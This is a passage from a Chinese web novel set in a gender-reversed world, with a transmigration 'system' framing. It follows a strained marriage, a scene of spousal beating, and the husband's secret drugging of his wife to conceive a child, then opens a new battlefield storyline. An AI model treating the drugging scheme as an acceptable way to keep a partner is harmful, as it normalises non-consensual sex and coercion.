宴刃目光落在窗外飞逝的风景,下意识环抱双臂的动作,却像在抵御某种无形的恐惧。
苏婉从来不是主动摧毁什么的人,过去隐忍,现在依然不喜冲突。
可有时候她感觉,她与宴刃此时此刻,就像两个一直在风雪交加夜里跋涉的人,突然被推到了春暖花开的地方,满目绚烂,反而茫然无措地停下了脚步,不知该如何享受这片温暖。
她们共享着一种对于突如其来的温柔的无措感。
苏婉的感受好些,她面对痛苦总有耐性,而这一次,宴刃正执拗地要与她同行。
苏婉收回心神,清了清有些发紧的喉咙,主动说了些母亲让转告的家常话,分享了近日看中想买的一尊小巧玉雕。
她笨拙地尝试展开自己,撕开一点心防的口子,试图让身旁紧绷的宴刃能够放松些,宴刃果然一点点展开笑颜,像得到阳光的植物,他也努力搜刮着肚肠,试图说些俏皮话让苏婉开心,只是难免生涩。
她们的谈话终究还是太生疏,带着小心翼翼的试探。彼此都心知肚明这层隔膜,却都心照不宣地试图用温和掩盖。
生活总要继续,即便心事再重,像铅块坠着,该做的事一件也少不了。
到了公司以后,苏婉并没有因为要考虑宴刃的事就表现出明显的情绪波动。
只是她们已经太久没有这样直面自己的感情,以至于总会在下意识找安静的角落,对着窗外发呆,让纷乱的思绪沉淀。
最重要是,伴随着情感,她的自然需求——□□也渐渐浮出水面,像水底的暗流涌动,带来陌生的悸动。
有好几年,她都刻意回避着这方面的思考。
她不是圣人,也不是没有七情六欲。那些深夜里的辗转反侧,身体偶尔的燥热,都提醒着她。
那些积压的情绪和心结一直都在,只是被她习惯性地
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封存在心底最隐蔽的角落。
而现在,面对宴刃固执又带着情欲暗流的目光,那道紧闭的门似乎正在微微震颤……
这段时间与宴刃进入两人世界后,苏婉一直在努力维持情绪的稳定。
毕竟,血肉之躯,爱欲嗔痴,皆是本能。
她也需要在这复杂的关系里,摸索着救赎自己,找到那个平衡点。
午休时间,苏婉约母亲去戏园看一场新排的折子戏,也想借这个机会与她商量,请她停下再物色新男色的想法。
她骨子里相对还是个旧式女子,心就那么大,只能对一个人有感情,也只想对一个人负责。
—————分隔线—————
青山看着她们,“有时候我甚至会想,死亡,谁说不是一种温柔的解脱呢?”
系统转圈,发出细微的嗡鸣,“哎?”
“她不是机械生命,没有设置程序,会有无数错综复杂的情感,那么在得到一切之后,她还能维持初心吗?”
“那有点难哦。”系统道,“毕竟这个小世界就是因为不能顺利运转才崩溃的呀。”
—————分隔线—————
苏婉已经决意用这段婚姻去包容和保护宴刃,这个念头一定下,顿时有种如释重负的感觉,仿佛卸下了千斤重担。
或许她之前做出各种的思量妥协,也是因为心底深处终究放不下宴刃,所以这给自己增加难题。
哪怕是身处弱势、自身难保的时候,她也选择力所能及地帮助那些遭受苦难的女子,也不因为畏难而放弃伸出援手。
善良是苏婉骨子里的底色,哪怕她曾因守护而坦荡赴死。
现在世界反转以后,骨子里那股傲气依旧总在作祟,逼着她与宴刃算得清清楚楚两不相欠,更逼着她清醒地、近乎冷酷地审视现在的自己,审视那些被磨平的棱角。
苏婉看见母亲的嘴唇轻轻开合,那声音轻得像无数次深夜里的自言自语,"你这孩子真傻,怎么一点都不像我呢……"
母亲带着一丝嗔怪,更多的是怜惜,在记忆中,母亲曾对她说过许多严厉甚至绝情的话,但在此时此刻,戏台上咿咿呀呀唱着,母亲只是含笑听着,轻柔地拍了拍苏婉放在膝上的手,温暖的触感传来,”你知道的,我心里只是想你好,千好万好。你要是下了决定,那便如此吧。“
她的目光那么温柔,像山一样沉静而慈悲,将苏婉所有的反复无常、挣扎犹疑都包容其中,无声地托住。
陌生的、如此直白的爱意将苏婉包围,她不因痛苦落泪,但此刻眼眶却不由自主地发热湿润,鼻尖发酸。
明明这场爱恨纠葛从来只关乎她与宴刃两个人,但是似乎冥冥中又影响两个家庭往后数十年的光阴。
"我放心不下他,他也硬要把我们的命运捆在一起。"苏婉的指尖在母亲掌心微微发抖,回握住那温暖,"我怕我…迟早会后悔的。"
苏婉声音带着罕见的脆弱。
33. 第三十三章 苏婉32
母亲惊讶于她此刻的脆弱,将她揽入怀中,"没事的,我会给你兜底,所以去过你自己的人生吧。"
戏曲落幕,人也散去。
苏婉回到公司后,带着从母亲那里获得的力量,向宴刃透了底。
宴刃当时的反应其实不难预料,他怎么可能对苏婉放手?巨大的欣喜瞬间点亮了他的眼眸,像烟花炸开。
他却坐不住了,费尽心思地打听苏母的喜好,盘算着过两日要寻什么样的重礼,如何登门拜访才得体。
焦虑和期待交织,一时间彷徨无措。他知道苏母不喜欢自己,甚至可以说是厌恶。要是她红着眼眶用自己的苦痛要挟苏婉回头,或者撕破脸皮直接戳穿自己那些过往的虚伪和蛮横,再不然苏母见到他的到来暴怒地砸东西,他可怎么办?
他向来是甩脸子、给别人难堪的人,此刻角色调换,作为被审视、被审判的那一方,愁得连路都走不好了,脚下像踩着棉花。
后来有人笑谈起他今日的失误,眉飞色舞地演示,"晏秘书当时走着走着,像丢了魂,哐当一下撞歪了财务桌角的笔架,那声音噼里啪啦响亮的哦!"
她四肢夸张比划着,"我当时看的清清楚楚,他魂不守舍地,眼神发直,似乎都不知道自己在哪,从苏总办公室出来就直直往外走,跟梦游似的。"
她笑得捂着肚皮,"墨汁泼出来,弄脏了他雪白的衬衫袖口!财务气得阴阳怪气他,他也空白着表情反应不过来,一点没从没见他那么呆过,跟个木头桩子似的!"
”而且这事发生时,外面苏总还在接待好几位重要客户了,你说巧不巧?那些外企代表团的考察恰在这天!要知道当时上海滩这时间点,这次能否开启合作关乎我们能否比别人早一步搭上国际快车,重要得很嘞!“
这笔架倾倒、墨汁飞溅的声响惊动了外面正屏息谈合作的所有人,所有的视线瞬间聚焦在闯祸后一脸茫然的宴刃身上,空气死寂。
总经理额头冒汗,尬笑着对同样愕然的考察团解释,宴刃还是呆愣着,下意识地用干净的手背去擦污渍,结果越擦越花,狼狈地擦过众人离开。
苏婉叹息无奈的脸在人群缝隙中露出,她迅速整理了一下微乱的旗袍压襟,深吸一口气,压下心头的惊愕,步伐沉稳地加入战局,用流利的外语和精准的专业素养重新掌控局面,声音清晰冷静。
宴刃在休息室匆忙换了件备用衬衫,洗掉手上墨痕,也终于强自镇定下来,走到苏婉身旁,为她打起下手,默契之下合作被拿下。
这次事件以后,媒体长枪短炮对准苏婉,她的隐私进一步没有秘密,而有心人自然更多。
宴刃时常烦闷地靠在公司外墙抽烟,火星明灭间听见公司传来的惊呼声。
真热闹。
"宴先生不进去吗?"送饭的阿姨推着餐车经过。
宴刃碾灭烟头,鞋跟与水磨石地面摩擦出刺响,"当然是要进去的。"
他的语气带着一丝不易察觉的焦躁,不然苏婉真看上了谁怎么办,烦死了,这么多男男女女都想着往苏婉身上贴!
但是不得不说,当各种小报上登出苏婉在签约仪式聚光灯中心从容微笑的照片时,他还是忍不住用剪刀小心翼翼地把照片剪下来,贴在一个本子里收藏好。
因为这份重量级的合作终于落地,之前那种连轴转、喘不过气的生活节奏也可以暂时缓下来,与全公司的姑娘们热热闹闹地开了一个庆功宴后,苏婉宣布放假两日,欢呼声几乎掀翻屋顶。
两人在夕阳刚刚落下的时候就驱车离开,连日的紧绷让困倦如潮水般涌来,车前忽然冒出人影,她一个急刹猛地停下,轮胎摩擦沥青路面发出刺耳的尖叫!
苏婉身体先于意识地将旁边的宴刃猛地护住,将他整个人紧紧揽进怀里,手臂环着他的头肩。
巨大的惯性让两人重重撞在椅背上。她抱着人,心脏狂跳,惊魂未定地往外看,是陈见在拦车。
夕阳最后的红光把陈见那张惊惶痛苦的脸调和得柔和了些,但丝毫不能掩盖他裸露脖颈和手臂上的大片青紫淤痕和血丝。
他老旧棉布衬衫后背的汗渍都已经晒成盐霜,却还固执地穿在身上,散发着汗酸和淡淡的血腥味。
这个因被宴刃不喜而被辞退的童年老友,此刻正用发颤的全身堵在车前,哭喊着,"苏家主!苏家主,救救我吧!晏哥儿!晏哥儿!求求你看在过去的情分上救救我吧!她要打死我啊!"
他那绝望的哭嚎在渐暗的暮色里回荡,宴刃喉结滚动,推开车门下车,沥青路面蒸腾的、混杂着尘土和尾气的灼热气息瞬间裹住他的小腿,闷热粘腻。
苏婉也打开了另一边的车门,下来绕到宴刃的身边。
还没等她们多听陈见说几句话,一个女人就像一阵旋风般远远冲过来,一把按住了陈见的肩膀,动作粗暴有力,梆梆就是两拳头砸在他背上,沉闷的响声听得人牙酸,利落直白得没有让在场的任何一个人反应过来。
“是他的妻子。”宴刃喃喃道。
但是记忆中,这个女人是很瘦弱的,她每一次出现都穿着得十分严实,低着头,像是一个褪色的影子。
甚至到了现在,宴刃都不知道陈见的妻子叫什么名字。
眼前的这个女人高大健壮,行动有力,而且爽朗,就像是之前世界陈见的翻版那样,带着一股汗水的粗粝气息。
这样的女人,勾起了宴刃不好的回忆,他险些忘记了,和自己待在一起的女人们其实已经是这个社会的高端工种。
大家都文雅而体面,所以他才能没有应激,而此时此刻贸然直面面对与他心理阴影相关的女人类型,他胃里一阵翻搅,下意识干呕了一下,酸水涌上喉咙。
苏婉立刻上前两步,挡在了他的面前,旗袍的料子擦过他的手臂。
宴刃无声叹息,她比他高了,也更好地利用了这种优势。
心喜之下又是心酸,在过去有没有这样的时候,他有没有挡在苏婉的面前?
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他已经记不起来了。
“你为什么打他?”苏婉问那个女人,她过去常年待在别苑,对于别苑外面的世界,哪怕是多出来记忆也对此一无所知的。
她此刻下意识地以为是什么寻常的夫妻纠纷。
“你该不会是我这夫郎的姘头吧?”女人呸了一声,又仔细打量了苏婉的动作一番,挠了挠头,“看样子也不是这么没有眼光的人啊。”
她绕过苏婉,看到了宴刃,言语中露出两分欢喜,“你眼光不错嘛,把这么漂亮夫郎弄到手了的。”
她往地上吐了一口唾沫,哀叹,“我运气就不好了,遇到这么个水性杨花的东西。”
她眼光落在陈见身上是恶狠狠的,“我当初是看他老实才把人娶进门的,谁想到他这样不守夫道!”
她此刻神情狰狞恐怖,神情厌恶,"他这里。"
她用手指点着自己的太阳穴,"有问题。"
“我没有,不是的。”陈见像抓住救命稻草般扑过来,“苏家主,是她就是爱打人,她看我赚不到钱了,就拿我泄恨,我为她生下来三个孩子,她还是没日没夜地打我,你们看我的脸,我的身体没有一块好肉!”
苏婉下意识地侧身将宴刃更严密地护在身后,手如铁钳般死死架住了陈见扑来的、带着伤痕的手臂。
"救救我…我真的活不下去了!"陈见满脸淤青,领口扯开露出的皮肤上布满青紫,新旧伤痕叠加,"我不能再跟她回去!"
“什么孩子,你生的全是赔钱货,一个个男娃有什么用?”女子嗤笑,“我也不想打你,你自己把你的孩子带回夫家去,反正我不想要,看除了我,谁给她们一口馊饭吃。”
“你这个丧良心的,你要逼死我啊!”陈见哭嚎。
苏婉眼下带着疲惫的青黑,声音沉下去,"你打他做什么?"
"要做什么?"女人仿佛听到什么天大笑话,"打个男人还要做什么,男人不打不听话,你不打?"
她疑惑看着女人,“有什么问题你们不能好好沟通吗?为什么要动手?”
“哎呦,还是你们读书人会讲话。”女人展示了下自己手臂的肌肉,“我们都是用这个沟通的。”
陈见的哭声成了背景,在炎热的夏天吵得人头疼。
宴刃突然暴起,恐惧混着怒火在血管里沸腾,他猛地一把揪住那个女人油腻的衣领,"你还是人吗?你怎么敢这样对他!"
"让他跟我们走。"宴刃的语气不容置疑,带着自己都未察觉的颤抖。
苏婉略带诧异地看了他一眼,没想到宴刃会如此激烈地插手这种事。
不过这种事,她也不愿容忍。
那女人不耐烦地扯开宴刃,轻而易举地像是推开一个小鸡仔,她翻了个白眼。
"你们别看他惨就帮他说话,女人这辈子求的不就是相夫教子、安稳度日吗?家里的事还不够他忙活的?非要出去抛头露面赚那几个钱,谁知道是去赚钱还偷人?"
34. 第三十四章 苏婉33
“他……”
“他什么他,他要是躺在别的女人床上,毁坏的可是我的财产,你们又不了解我们,瞎插什么话!”
她说着就要去拽陈见的手臂,指甲深深掐进那些淤青里。
陈见哭喊着不愿意离开,苏婉瞥见宴刃手背爆起的青筋。
女人又给了陈见一巴掌,"让你乱跑,非要我给你栓起来是不是,她们城里人懂个锤子!"
她薅起陈见的头发,恶狠狠道,"你嫁给了我这个乡下人,嫁鸡随鸡嫁狗随狗,就得好好过一辈子,我图的不就是汉子娃娃热炕头?这次生不出女娃我打死你!"
陈见的□□处突然洇出一片深色的尿渍,一股刺鼻的骚味混着尘土味在柏油路蒸腾的热气中弥漫开来。
宴刃穿着马靴的脚不受控制地往后蹭了半步。
苏婉制止的动作停下,她死死盯着女人虎口那团模糊一捺,被烟疤烫成的肉疙瘩,她没有在女人身上闻到烟味。
她用力嗅了嗅,并没有在女人身上闻到烟味,声音异常冷静地问,“你抽烟吗?”
女人一脸疑惑,“抽什么烟?哪有那个闲钱?”她狐疑地低头闻了闻自己,“你闻到烟味了?肯定是这个不守夫道的男人去挨着别的女人了!”说着,又气急败坏地狠狠搡陈见。
苏婉看着她这种暴力,意识到以前遭受暴力的其实是她自己,那她现在…也是在伤害别人。
一股尖锐的心疼攫住了她,一时间竟僵在原地,只能眼睁睁看着女人那重重的举动。
"老娘在外头拼死拼活,你个黄脸夫在家躺着收钱!"
陈见察觉出她们无法救他,他扯开领口惨笑,"对,我就是外头有人,那些女人嘴甜腰软,哪像你——"
他伸出的手指戳向女人眼角的皱纹,"跟块冻硬的馊馒头似的!又臭又硬!"
女人反手狠狠薅住他油腻的头发。
“走吧。”苏婉突然开口,声音带着深深的疲惫。
在这种互相纠缠的行为的、语言的暴力中,或许她们也以扭曲的方式得到了解脱。
宴刃也阻止不了,只能跟着苏婉离开。
车子行驶在昏暗的路上,远离身后逐渐模糊的谩骂与尖叫。
苏婉在想,现在的生活是不是也是那个女人曾经幻想过的?在长期的暴力当中,她压抑的愿望变成了这样扭曲的呈现?
可这些事情,连她自己也未曾察觉。
苏婉也有过恨的时候,她死死握住自己的手掌,指节攥得发白,怨恨这具孱弱病痛的躯体。
她为什么要记得这些?
如果能像那个女人一样,理所当然地忘记一切,接受这个世界的规则,会不会轻松一点?
车内,沉默像第三个人般挤在车厢。
苏婉握方向盘的指节发白,宴刃则靠着车窗闭目养神,直到车子快开到别苑,他才缓缓开口,"或许...我早就知道一些陈见的事。"
车身猛地一晃,苏婉的手死死扣住方向盘,确实不该意外,宴刃和陈见本就交情匪浅。
宴刃眼神复杂,继续说,“我以前多少听过点传闻,但是他总说自己的妻子不安于室,懒惰刻薄…这种话说出去不是毁坏自己的名声吗?谁会主动说这种话……”
车猛地刹在路边寂静的阴影里,轮胎摩擦地面发出短促的尖叫。苏婉倏地转头盯住宴刃,眼神锐利,他的声音低沉下去。
宴刃反而扯出一个没什么温度的笑,“我也不知道为什么突然说这个,或许我只是想说,那些破事跟我没关系。”
他像是在撇清,又像是在说服自己。
苏婉指尖无意识地摩挲着方向盘边缘细腻的纹理,她信他吗?
"说来可笑,"宴刃轻笑,"从前我从未对妻子好些,也未曾劝过别人要对妻子好,谁知道这种事会发生在男人身上?"
窗外毫无征兆地下起雨来,细密的雨滴急促地敲在玻璃上,噼啪作响,像极安慰人的轻柔乐曲。
宴刃指节攥得发白,他怨恨这具此刻显得如此孱弱无用的躯体,刚才对峙时冷汗浸透后颈,他害怕,知道自己打不过那个女人。
苏婉看着他脸色惨白,眼珠凝着死光,死死钉死在前方被雨刷模糊的路面上。
“算了,”宴刃的声音疲惫不堪,“我没什么要说的了。”
他打开车门,走进雨里,嗤笑道,“或许真的是报应吧。”
苏婉坐在车里没有动,就这么沉默地停靠着,与宴刃的距离越来越远。
也是这个女人的出现让她猛然意识到,她身边的人还有很多类型。
除了像她这样拥有相对体面生活的女性之外,更多的是那些平日里在泥地里刨食、在底层挣扎的、如同陈见妻子那般的人。
她们都早已被这个扭曲的世界改变了原有的生活方式,她的喉咙里似乎烧着一团火,有许多许多的话想说。
等到夜半三更,车声惊醒了昏昏欲睡的管家,苏婉看到她第一句话是,“我要修个庙。”
是啊,她不知道世界为何而改变,但是她知道世界是因为谁改变的,她见过她。
所以她可以让人知道,让所有人知道那尊神的存在,这或许是她此刻唯一能抓住的浮木。
宴刃躺在阁楼,窗缝里钻进的风吹得他打了个激灵,宴刃喉咙里发出呜咽,猛然睁眼。
指尖狠狠掐进掌心的软肉,尖锐的刺痛,晕开暗红。
他变得太多了,都让他险些没记起,有一年冬天,苏婉站在他房门口等他,雪花无声地落进她后脖颈,她冻得缩了下脖子,鼻尖通红。
那会儿他怎么干的?他故意绕道,从冰冷的后门走了,留下她一个人在风雪里。
那时候他多高傲啊,以往的记忆像一片粘稠的胶水,将他牢牢凝固在现在这个充满屈辱和恐慌的时刻。
他听见耳边虚幻的嗤笑,分不清是自己还是谁的。
天在他分不清虚幻与现实的时候亮了,那光竟然像是刀那般亮,晃得他一夜未闭的眼睛刺痛。
门外传来管家的声音,“家主,您昨日说的事,需要您签......”
苏婉没有叫他,宴刃只听着声音越来越远,巨大
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的自负与噬骨的愧疚同时涌出,像冰冷的潮水,将他彻底淹没。
他回不去了,也不可能回去,他埋入被里,浓稠的黑暗从四面八方涌上来,吞掉了他最后一点挣扎的残念。
别想了,也别再逃,他得把自己路堵死才行,不然他要疯了。
他猛然掀开被子,穿着皱巴巴的衣裳,从裤兜摸出皱巴巴的烟盒,抽出一支,打火机咔嚓、咔嚓响了三声,才冒出一簇跳动的火苗。
他凑近,点燃,烟雾辛辣地涌进肺里,带来短暂的麻痹。
"李嫂。"他冲着昏暗的走廊沙哑地喊。
管家从暗处走出来,"宴先生......"
"上回你说的方子。"烟灰被他用力弹在精致的骨瓷烟灰缸里,釉面绽开灰褐色的疤痕,"去帮我准备。"
他顿了下,低声道,“事成了,好处少不了你的。”
窗外毫无预兆地下起雨来,水珠滴答滴答敲在窗沿,像谁在压抑地哭。
又突然起了一阵邪风,没关严的窗户啪地一声狠狠撞上墙。
宴刃没躲,他沐浴在冷风中,他又在赌,这次她还会那么狠心吗?
次日,宴刃发起了高烧,脸颊烧得绯红。
苏婉拧了条冰凉湿毛巾给他擦汗,冰凉的触感抚慰他滚烫的额头,忙活着,手腕被宴刃同样滚烫的手掌握住。
她蹙眉,用另一只手按住他胡乱抓握的手,“别闹。”
宴刃抓得很紧,指节因用力而发白,他满身蒸腾着病态的热气,意识模糊,眼底却像烧着两团暗红的炭火,透过眼底的水汽盯着她。
"你……"宴刃嗓子发干,结婚这些年,她们从没越过雷池半步。
倒不是谁存心避着,是宴刃总把分寸拿捏得死紧,可此刻那双规整扣到锁骨的黑绸睡衣,正被汗水浸透,湿漉漉地黏贴在他剧烈起伏的胸膛上,勾勒出紧实的线条。
太好看了,好看得刻意,苏婉在意动下又觉得有些滑稽,她曾无意撞见宴刃独自在泡冰浴,泡到嘴唇发紫,水珠顺着他绷紧的下颌线往下淌,砸在水面,他居然宁愿冻死也不愿与她有肌肤之亲,所以她识趣地没在他面前提过这事。
可今天,她居高临下地看着病中脆弱又带着异样诱惑力的他,怎么觉得他似乎是在诱惑她呢?
他确实生了一副极好的皮囊,此刻病态的潮红更添几分惊心动魄的脆弱美感。
在气氛变得彻底暧昧之前,有人进门与苏婉说了什么,她猛地扭过头,脚步没有丝毫迟疑地离开了房间,那么坚决。
宴刃闭上眼,浓密的睫毛剧烈颤动,委屈像团棉花堵在胸口,闷得他几乎窒息。
他模糊听到了汽车开走的声音,她真的走了,他到底哪里做得不够好?为什么她宁愿去找外面那些无关紧要的人,也不肯与他做一场?
半晌后,他咬着牙,撑着滚烫虚软的身子从床上坐起来。
管家低声告诉他,苏总去找柳依依小姐了。
用人们窃窃私语,宴刃又急又气,其实所有人都不明白宴刃这些做作的行为到底是为了什么。
35. 第三十五章 苏婉34
在她们看来,苏婉已经是非常好的女人了,她给了一个男人太多本不该有的自由和地位,为什么这个晏夫郎却丝毫不知道满足呢,贪得无厌!
如若宴刃能听到这些议论,他或许会惨笑着反问,是不是因为在这个世界里,男人天生拥有的就太少太少?
只是拿回自己应该有的权利,就已经叫做要得太多了?
那……那又算什么?
“李嫂,我要用药。”宴刃低声道,“我一定会留住她。”
他不会沦落到陈见那样,因为苏婉是一个重情的人。
他想着陈见身上的伤痕,打了个寒颤,以他现在的家庭,他如果与苏婉离婚,那么他接下来的下场,和陈见没什么两样。
苏婉那样匆忙的离开,是因为柳依依想离开上海了,让人递话给苏婉,想请她驱车送她去办理加急的手续。
苏婉帮忙简单收拾了行李,有苏婉这个新贵的名头和实在的银钱开路,所有繁杂的手续变得异常简单。
到了晚上,苏婉就站在月台昏黄的灯光下,目送柳依依和她的父母坐上了那列驶向未知远方的绿皮火车。
汽笛长鸣,车轮滚动,苏婉站在月台上,离别气息的风吹乱了她的长发。
她不知道这是不是她与柳依依的最后一次见面,淡淡的惆怅情绪塞满她的胸腔。
驱车回到别苑时,天色已深,她先去阁楼查看宴刃的病情,他正靠着窗喝着小酒,她以前种在墙角的那株蔷薇花,不知何时也悄然开了几朵,花瓣被晚风吹落一片,正好飘在他的肩头上。
见她来,宴刃仰起脸,灯光在他脸上投下柔和的阴影,便是伸手邀她,这还是这么多天来的头一遭,难得的是她此刻也想要醉一场。
是离别的低落,是他刻意迎合的态度,又或许是窗台上那壶温好的黄酒格外醇厚。
总之,苏婉醉了。
醉意朦胧间,不知怎的,就醉倒在了宴刃的床上。
她没有抗拒宴刃靠近时身上传来的、混合着药味和淡淡冷香的复杂气息,也没有抗拒他那张在灯光下显得格外惑人的脸。
半推半就,或者说,在酒精的麻痹下,她放弃了抵抗,与他滚作一团。
床头的纱质帷幕第一次被放下,隔绝了外界的视线,只有朦胧的月光能窥见里面浮动翻滚的身影和压抑的喘息。
次日清晨,苏婉在一片神清气爽中醒来,她盯着帐顶上的花纹发呆,宿醉的头疼袭来,同时感觉后颈汗毛根根竖起,一种强烈的不对劲攫住了她。
她性情温和,但并非愚蠢。
她猛地侧头,盯着身旁睫毛颤动、身体紧绷、显得异常紧张的宴刃,一个可怕的念头清晰浮现。
她不可置信道,”你给我下药?就为了爬上我的床?!“
"是啊。"宴刃扯着被角,突然低低地笑出声,笑声干涩又破碎。
他卑劣又孤注一掷算计来一晚,眼泪毫无预兆地滚落,他说,”这样…我就能为你生一个孩子了。“
苏婉喉头发紧,“你要用孩子拴住我?你可真是的……”做作,下贱?
她盯着他,眼神复杂,震惊、愤怒,还有一丝被欺骗的恶心。
她一时间竟找不到一个足够分量的词来形容他此刻的行为。她一直以为,宴刃骨子里是极其高傲的人。
宴刃确实是高傲的人,但是他的高傲是要有许多条件才能成立的,当失去赖以生存的土壤的时候,他的高傲也会被自己折断,他想要体面地活着。
他不想死,更不想生不如死。
苏婉在巨大的愤怒和失望中,随手抓起一件外裳胡乱套上,走得极快,衣角在清晨微凉的空气中翻飞。
苏婉怎么也想不通,宴刃为何把自己践踏至此,还能在外人面前维持体面。
她无法与身边的人倾诉这件事,只能写信给在火车上认识的姐姐说。
在她的口中,他是她的夫郎,
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想要妻主的心,想要一个孩子稳固地位,是正常的事情,甚至会被赞懂得为自己打算了。
她再次写信回去,笔尖却逐渐迟缓,现在的局面她真的没有想过吗?
她也曾推波助澜,她也想看宴刃为自己臣服才做那么多不是吗?
正当她惆怅时,管家敲门进来,与她说。
“恭喜家主,大夫说您有喜了!”
哐当一声,苏婉手中的笔掉落在地上。
她有再多的想法,在一个新生命之前似乎都变得无足轻重。
这个孩子的存在像是一块烧红的烙铁,让两人就连目光稍一触碰就会灼伤。
可确实如宴刃所愿,他留住了苏婉。
但是看着苏婉一次又一次沉默离去的背影,看着她眼中难以掩饰的疏离和疲惫,只感觉自己的存在在无限的缩小,缩小在这个后院中。
他下意识抬手,摸了摸自己脖颈,那里系着一块精美绝伦的丝绸喉结,丝滑冰凉,如同一个华丽的枷锁。
他会得到自己想要的。
-—————分隔线—————
“宿主,这就是你设想的事态发展吗?”光球悬浮在半空。
“如果男方实在不行,换成女方主导不就好了?”青山悠闲地坐在不远处的树梢上晃着双腿。
"这结果如何?"
"很棒!"系统给出肯定答复,"一个能让所有人都执行下去的方案,总比彻底崩坏要好得多。"
虽然作为新生系统,它也清楚这个方案若传回主神空间,恐怕会引起轩然大波。
青山指尖把玩着一片树叶,"确实离经叛道,但总比让宴刃继续主导强吧?"
"没错没错。"
夜风拂过,树影婆娑。
这个重获新生的球体被青山收入囊中,她轻盈地跳下树梢,随手打开一道流转着星光的通道,带着系统光球,头也不回地踏入了下一个亟待修补的世界漩涡。
36. 第三十六章 胡蝶1
青山飘然悬停在空中,饶有兴致地倚在系统的球体上,“看来,这次也没有赶上。”
她轻柔的裙摆像一层水雾般笼罩整个战场,小世界女主的尸体在层层叠叠的尸骸下毫不起眼。
在一众死亡面前,谁的尸体看起来都是类似的,鲜红的,静止的,剩下的就是被时光腐蚀,成为世界的养料。
系统脑袋上那对新长出来的毛茸茸狼耳朵正活跃地跳动,耳朵尖尖疯狂朝着青山的方向挪动,像是有自己的意识。
“啊!!!”
系统尖叫着飘下去,绕着胡蝶的尸体急切地转圈圈。
胡蝶几乎被拦腰斩成两段,大量血色从她身下蔓延开来,她刚死没有多久,身体还温热着,若是系统的动作再用力些,甚至能撞出一些软软的凹陷。
她手中的弯月刀还没松开,眼睛也没有闭上,已然晦暗的眼底倒映着这个仍在厮杀的战场。
她还想战斗,她唯恐自己没有守护住想要的家园,她不情愿这样死去,她的每一个肢体语言都在这样诉说着。
再三惶恐地确认胡蝶已经死了以后,系统失落地摇摇晃晃地又飘回青山的裙摆上待着,它自闭得球体都不发光了,灰暗得像是一颗暗淡的白银。
好半晌才恢复过来,一回生二回熟,反正上一次任务也好好通过了,这次宿主肯定也有办法的。
所以,它头上这对耳朵是怎么回事?它并没有给自己购买皮肤或血统啊。
青山把它捞起来,手指轻轻抚摸着系统那一对耳朵,熟悉的手感让她唇角微微勾起弧度。
系统熟练地展开幕布,为宿主展示剧情影像。
青山冷漠而慈悲地俯视着整个战场,无动于衷。
黄沙之下,刀剑与血肉横飞,厮杀终于到了尾声……
漠风镇坐落于大繁王朝的西北边境,处于中原和西域的交流地带,这种边城犹如被弃养的孤儿,孤独地屹立在无边的黄沙边缘。
如今王朝末势微弱,塞外游牧蛮夷绕过主力战场,试图另辟蹊径。却没想到,留守边城的悍民中竟有胡蝶这样武力高强的女子。
虽早就知道整个边城人人皆兵,可没想到区区一个女子硬是带着这批老弱妇孺将他们拦在城外,甚至以少抵多,在人海中以箭击杀了蛮夷主将,最终令其军心溃散,逼迫他们不得不败退。
汹涌的蛮夷在崩溃逃跑,说时迟那时快,有人骑着马从黑暗中疾驰逆人潮狂奔而来,马匹身后是一溜烟的黄烟,马背上的人手提长枪,一枪挑飞一个塞外人,将退军打散,被跟随而来的镖师逐个击杀。
“是关护,关大镖头回来了!”战场上顿时响起一片欢呼,紧绷的神经终于敢放松了。
系统立刻从被揉耳朵的愉悦中清醒过来,机敏地将关护的过往呈现出来。经过第一个世界的磨合,它现在已经非常清楚宿主的喜好。
它语气中带着一丝骄傲,用小棒指向角落里的一个孩子,解说道:“这个就是关护,小世界的男主。”
青山静静注视着关护被买走的全过程,他是被人伢子卖进镖局的,这些年来战乱不休,流民不绝,罪奴后代也不断被发配至边疆。
父母们为了减轻家中负担,也为了给孩子寻条生路,最终将儿女卖给了往来边城的人伢子。
而胡家的镇远镖局,往往会收下人伢子送来的孩子,将他们训练成日后镖局的新血。
系统看到这里,忍不住插话:“原本胡父并没看上关护,他看起来太瘦弱了,但胡蝶看他实在瘦弱得可怜,担心他留在人伢子手中会饿死、冻死,或者根本熬不过一场病……总之,给他起了名字,让胡父一并带回去了。”
“是啊,世界的主角总得有人来救,而救他的人,最好还是个少女。”
三岁的胡蝶,再长长不就是少女了?
青山将目光投向投影外,此时此刻关护正跌跌撞撞地摔下马,几乎是膝行着扑向胡蝶的身体,颤抖地将她紧紧搂入怀中。
血那么多,顷刻就浸透他的衣袍,湿漉漉地贴着皮肤,又一点一点凉透。
“他看起来,也挺难过的。”青山轻声说。
她这么说着,轻而易举地伸手,她的指尖翻出微微的绿光,胡蝶残存的魂魄破碎着被牵引而来,塑出清晰的形影。
那道魂魄静静闭着眼,周身泛着一层朦胧而微弱的光晕,系统熟练地将自己的保护卡插了进去,圆形的保护罩护住了她脆弱的魂魄。
青山拉起胡蝶的手,带她从半空中轻轻落下,声音放得格外柔和:“他那么难过,看起来那么深情,所以……得自己去看看。”
胡蝶眼神仍有些懵懂,刚醒来的她只剩下本能,望向地上那具已无声息的自己的身体,下意识靠拢过去。
可她已经死了,魂魄和身体再也融合不了,她一次又一次徒劳地穿过冰冷僵硬的尸身,最终只能茫然站定,刚要开口,却见青山微微一笑,身形倏然化作流萤散入风中,再无痕迹。
……
胡蝶又怔怔望向关护,她死得实在太惨,魂魄碎得厉害,纵使被拼凑回来,神思依旧浑浑噩噩,想起什么也都像隔着一层雾。
见着关护悲恸到几乎破碎的模样,她竟没什么真实的感觉,隔了好一会才模模糊糊地意识到。
啊,她……死了?
关护在哀哭之后,用大氅裹着她的尸体回去边城,城门不知何时已经悄然打开,站满了流泪的人,她们的牙齿咬着嘴唇,发干的面颊绷得紧紧的,哪怕在昏暗的光线下也能清晰看到泪光。
胡蝶哪怕什么都没有想起来,看到这一幕也依旧从心底泛滥起悲伤,她是一副飒爽心肠,生平最看不得别人受苦。
啊,她想起来这个抱着她的人是谁了,是关护,三岁那年,她头一回见到瘦小得只有骨头架子的关护,被边城的风一吹,身子都会晃呢,想也没想就一把将他从人堆里拉出来,给他套了披风。
胡父见状,让她给他起了名字,她那年小,认识的字不多,绞尽脑汁想了个有寓意的名字。
边关的关,守护的护。
胡蝶飘在关护的身边,试图用手去拽他哭泣的睫毛,去拍他颤动的肩膀,去拉他闷哭的唇角,他看起来实在是不像她认识的那个关护。
那个沉默的老实人,也会有这么激荡的情绪,难过得如此
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无法抑制,只是因为她死了吗?
她们之间有那么深的感情吗?他此刻这般深情的姿态,反而叫她觉得陌生。
